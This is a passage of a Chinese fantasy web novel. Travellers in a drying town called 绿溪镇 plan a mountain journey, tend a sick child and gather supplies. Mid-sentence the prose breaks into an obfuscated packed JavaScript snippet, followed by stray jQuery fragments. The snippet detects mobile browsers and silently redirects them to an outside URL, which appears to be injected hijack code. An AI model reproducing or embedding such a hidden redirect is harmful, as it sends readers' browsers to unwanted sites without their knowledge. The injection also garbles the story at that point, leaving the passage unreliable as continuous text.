“十二天到哨站。我们明天出发，从绿溪镇到哨站走山路要几天。”
“路好走的话，四天。”贝丝从灶房探出头，脸上沾着一小撮面粉。“路不好走的话，五天到六天。山路有一段去年塌过方，修了一半，剩下一半是人和马踩出来的便道。下雨的话便道变泥沟，要多绕一天。”
“最近下过雨吗。”
“半个月没下了。便道应该是硬的。”贝丝缩回灶房，拍面团的声音又响起来，这次节奏快了一点。
玛丽玛丽在桌边坐下，把地图摊开压-在那些算满数字的纸上。从绿溪镇往北，官道进山之后变成一条细线，在山脊上绕几个弯，然后下山，到边境哨站。地图上那段路的标注很简单——“山路，全长约一百二十里，设一处歇马点。”歇马点的标记是一个空心圆圈，圆圈旁边没有标注地名，只有一个小小的“井”字。
“歇马点的井。”玛丽玛丽的手指落在那口井的标记上，“海瑟的记录里有没有这口井的数据。”
艾莉西亚翻到第三本记录的后面部分。海瑟测过绿溪镇周围所有能找到的水源，镇外的溪，山脚下的泉，山路歇马点的井。她每年开春会进山一趟，把沿路的水源测一遍。最后一次进山是三年前。歇马点那口井的数据停在三年之前。
“三年前，水质正常。魔力浓度一级。”艾莉西亚把那一页摊开。海瑟的字迹在三年前的那一页上还很工整，日期是开春第三日，天气是晴，水温是凉，水色是清，味道是“甘”。这个字在海瑟的记录里很少出现。她写“清”写了几十遍，“浊”写了几十遍，“铁锈气”在这个月的记录里出现了十几次。但“甘”只出现了几次，都在三年前和更早的记录里。那时候绿溪镇的水还是好的。
“三年了。那口井现在还在不在都不一定。”贝丝端着一盆切好的面团从灶房出来，走到灶台边把面团一块一块贴进热锅里。面饼贴上锅壁发出滋啦的声响，麦面的香气在厅堂里散开。“歇马点的房子是石头砌的，顶子是木梁覆瓦。去年塌方那段路就在歇马点北边不远，房子有没有被落石砸到，没人去看过。”
“为什么没人去看。”流栖灯问。
“因为没有人往北走了。”贝丝把锅盖盖上，拍了拍手上的干面粉。“绿溪镇的人最多走到山脚下。哨站的人以前会下来，到镇上买粮买菜。这两个月也不来了。”
面粉在她手背上干成细白的粉末，和窗外飘进来的灰白色粉末混在一起，分不清哪是哪。
下午格蕾塔又去了一趟老桑妮家。回来的时候手里提着一只小布袋，布袋里是干草药——老桑妮自己在屋后种的，今年长得不好，叶子稀疏发灰，但还能用。她把草药倒出来摊在桌上，挑出完全枯死的部分扔掉，剩下的放进医疗包裹。做完这些她在桌边坐下，把手洗了。水凉了，手指在盆里搓动的声音很轻。
“孩子今天怎么样。”流栖灯问。
“疹子没扩大。银叶草洗了三天，痒止住大半。昨晚睡了整夜。”格蕾塔把手擦干，布巾搭在盆边。“老桑妮今天早上煮了两个鸡蛋，孩子全吃了。吃完坐在门口晒太阳，跟巷子里路过的人打招呼。”
“老桑妮呢。”
“她在收拾东西。”
流栖灯的手指在麻布边缘停住了。“她要走？”
“她说再等等。等女儿这个月的信到了，如果信里说哨站那边也不行了，她就带着孩子往南走。”格蕾塔把布巾叠好放在盆边。“她问我，从绿溪镇往南，走多远水才是好的。我说我不知道。她说没关系，走一走就知道了。”
厅堂里煎饼的香气慢慢散了。贝丝把烙好的饼码进竹篮里用布盖住，解下围裙搭在椅背上，走到门口看着外面的主街。街上没什么人，阳光照在土路上亮得晃眼，灰白色粉末在光里浮动着缓缓落下来，落得很慢。对面的铺子关了门，门板上写着一个“南”字和一个箭头，炭笔写的，笔画很粗。
“老桑妮要是走了，镇北那一片就只剩海瑟和另外两户了。”贝丝没有回头，声音从门口传进来像隔了一层什么。“镇南走了铁匠，镇北再走老桑妮。中间这些——”她的手在门框上轻轻拍了一下，拍下一小撮灰。“中间这些也不知道能撑多久。”
夜里流栖灯在房间里点着油灯继续画那块麻布。麻布已经快画满了，绿溪镇的每一条巷子、每一口井、每一棵她注意到的树，都变成了炭笔线条落在布面上。她在镇北的巷子口添了一个很小的人形——老桑妮的孙女，趴在窗口，一只手举着。人形只有指节大小，几笔勾成，但那只举起来的手画了五笔，手指的方向朝着巷子外面。
艾莉西亚坐在对面床上，法术书摊在膝盖上没有看。她看着流栖灯画完那只手，把炭条在布边上蹭了蹭让笔尖变细。
“你画这些，以后给谁看。”
流栖灯的手没停。“不知道。可能谁也不给。可能自己看。”她在孩子的人形旁边写了几个小字——“这个人跟我晃了手”。写的是这个世界的文字，笔画还有点生硬，但比三天前工整了。
“我师母说，法术模型画出来才有用。存在脑子里的模型等于不存在。”艾莉西亚把法术书翻过一页，纸张在油灯光里发出干燥的轻响。“她说，一个人算出来的东西，只有写下来画出来，才能变成别人也能用的东西。不然这个人走了，东西也跟着走了。”
“你师母说得对。”
“她说的都对。就是太对了，让人不知道该说什么。”
流栖灯笑了一下，很轻，然后继续画。油灯的火苗在两人之间的桌上静静地燃着，把她俩的影子投在墙上，一个低着头画画，一个低着头看书。影子边缘模糊，和墙皮上鼓起的灰白色粉末
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537898|203862||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
混在一起。
玛丽玛丽在隔壁房间整理行装。明天出发，从绿溪镇到边境哨站走山路四到六天，中间只有一处歇马点，歇马点的井三年没人测过，房子可能被落石砸了。她把干粮重新分配，从贝丝那里补足了饼和咸肉。贝丝多给了六张饼，用布包好塞进干粮袋里没收钱。“路上吃。”她说。说的时候没看玛丽玛丽，看着灶膛里的火。
格蕾塔把医疗包裹里的东西全部取出来重新清点。银叶草干粉剩半瓶，消毒草药剩大半包，止血粉满的，退烧药剂满的，绷带够用。老桑妮给的干草药被她用油纸包好单独放了一格。她清点完把东西一样一样放回去，每样东西该在什么位置，手自动把它们放到那个位置，做完这些她在床边坐下，把医疗包裹放在脚边，靠着床头闭上眼睛。
“你以前走过这么长的路吗。”玛丽玛丽把干粮袋系紧。
格蕾塔睁开眼。“走过。从南部到帝都，走了一个多月。”
“一个人。”
“一个人。”
窗外有风。后院晾衣绳上今天没有晾衣服，空绳子在风里发出细锐的震颤声。马厩里的马匹已经习惯了夜里的风声，不再挪动蹄子。
“南部到帝都的路上，遇到过什么。”玛丽玛丽把干粮袋放进背包，背包鼓起来，她把系带收紧。
格蕾塔没有马上回答。她的手放在膝盖上，拇指慢慢摩挲着另一只手的指节。“遇到过一片盐碱地。白色的，走一天看不到一棵树。地面干裂成一块一块，裂缝里长着一种暗红色的草，贴着地皮长，踩上去是硬的。”她顿了顿，“那天晚上在盐碱地里扎营。没有柴生火，吃干饼。吃完躺在硬地上，头顶全是星星，密密麻麻。在神殿的时候也看星星，但神殿在山上的星星和盐碱地的星星不是同一种星星。”
“哪里不一样。”
“神殿的星星是被山框住的。盐碱地的星星没有框，从地平线这头铺到那头，像把整个天空翻过来扣在脸上。”她把手放在被子上。“那时候我想，走到这里了。一个人，一片盐碱地，满天的星星。走到这里了，还要往前走。”
“后来呢。”
“后来天亮，继续走。走出盐碱地是草原，走出草原是丘陵，走出丘陵是帝都。”格蕾塔把手从被子上拿起来放在枕边，重新闭上眼睛。“走到就是了。”
第二天天亮，四个人把行李搬上马背。贝丝站在客店门口，围裙系着，手里拿着一块刚烙好的饼用布包着塞进流栖灯手里。“刚出锅的，路上吃。”流栖灯接过饼放进鞍袋里，说了一声谢谢。贝丝摆摆手，手在围裙上擦了两下。
老桑妮来了。她站在巷子口没有走过来，手里提着一只小布袋。格蕾塔看到她，走过去。老桑妮把布袋递给她——鸡蛋，五个，煮熟的，蛋壳上还带着锅里的水汽。她用早晨刚煮的鸡蛋送人上路。